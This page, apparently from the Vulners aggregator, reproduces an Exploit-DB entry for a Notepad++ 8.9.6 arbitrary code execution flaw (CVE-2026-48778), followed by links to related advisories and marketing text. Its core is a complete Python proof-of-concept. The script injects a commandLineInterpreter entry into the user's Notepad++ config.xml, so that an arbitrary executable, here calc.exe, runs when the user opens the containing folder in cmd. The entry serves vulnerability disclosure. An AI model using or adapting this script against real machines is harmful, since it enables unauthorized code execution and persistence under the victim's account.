Lucene search
K

Notepad++ 8.9.6 - Arbitrary Code Execution

🗓️ 30 May 2026 00:00:00Reported by Kavin JindalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

Notepad++ 8.9.6 allows code execution by injecting a payload into the configuration file via commandLineInterpreter.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Notepad-8.9.6-PoC
28 May 202622:25
githubexploit
GithubExploit
Exploit for CVE-2026-48778
30 May 202617:49
githubexploit
Circl
CVE-2026-48770
28 May 202612:51
circl
Circl
CVE-2026-48778
28 May 202612:51
circl
Circl
CVE-2026-48800
28 May 202612:51
circl
CNNVD
Notepad++ security vulnerabilities
30 May 202600:00
cnnvd
CVE
CVE-2026-48778
28 May 202612:51
cve
Tenable Nessus
Notepad++ < 8.9.6.1 Multiple Vulnerabilities
4 Jun 202600:00
nessus
Packet Storm
📄 Notepad++ 8.9.6 Arbitrary Code Execution
1 Jun 202600:00
packetstorm
Positive Technologies
PT-2026-44400
26 May 202600:00
ptsecurity
Rows per page
# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution 
# Date: 2026-05-30
# Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/
# Vendor Homepage: https://notepad-plus-plus.org
# Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/
# Version: <= 8.9.6
# Tested on: Windows 10/11
# CVE: CVE-2026-48778
# Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9
#
# Description:
# Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without
# validation and passes it to ShellExecute when "Open Containing Folder in cmd" is
# triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an
# arbitrary executable path, resulting in code execution under the current user context. 
# In the following script, `calc.exe` has been used to demonstrate this vulnerability.


import os, sys


appdata = os.environ["APPDATA"]
if not appdata:
    print("[!] APPDATA environment variable not found, exiting..")
    sys.exit()


config_path = os.path.join(appdata, "Notepad++", "config.xml")
existing = os.path.exists(config_path)
if existing==True:
    print("[+] Found config.xml at ", config_path)
else:
    print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.")

x = open(config_path, 'r')
s = x.readlines()

payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n'
injected=False

for num,i in enumerate(s, start=0):
    if '<GUIConfig name="commandLineInterpreter">' in i:
        print("[!] Injecting payload..")         
        s[num]=payload
        injected=True
        break
    elif "</GUIConfigs>" in i:
        print("[!] Injecting payload..")
        s.insert(num, payload)       
        injected=True
        break
if not injected:
    print("[!] Payload injection failed.")
    sys.exit(1)

y = open(config_path, 'w')
y.writelines(s)
print("[+] Payload injected successfully!")
print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd")
print("[+] Calc.exe will launch instead of cmd.")
    

print("end")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation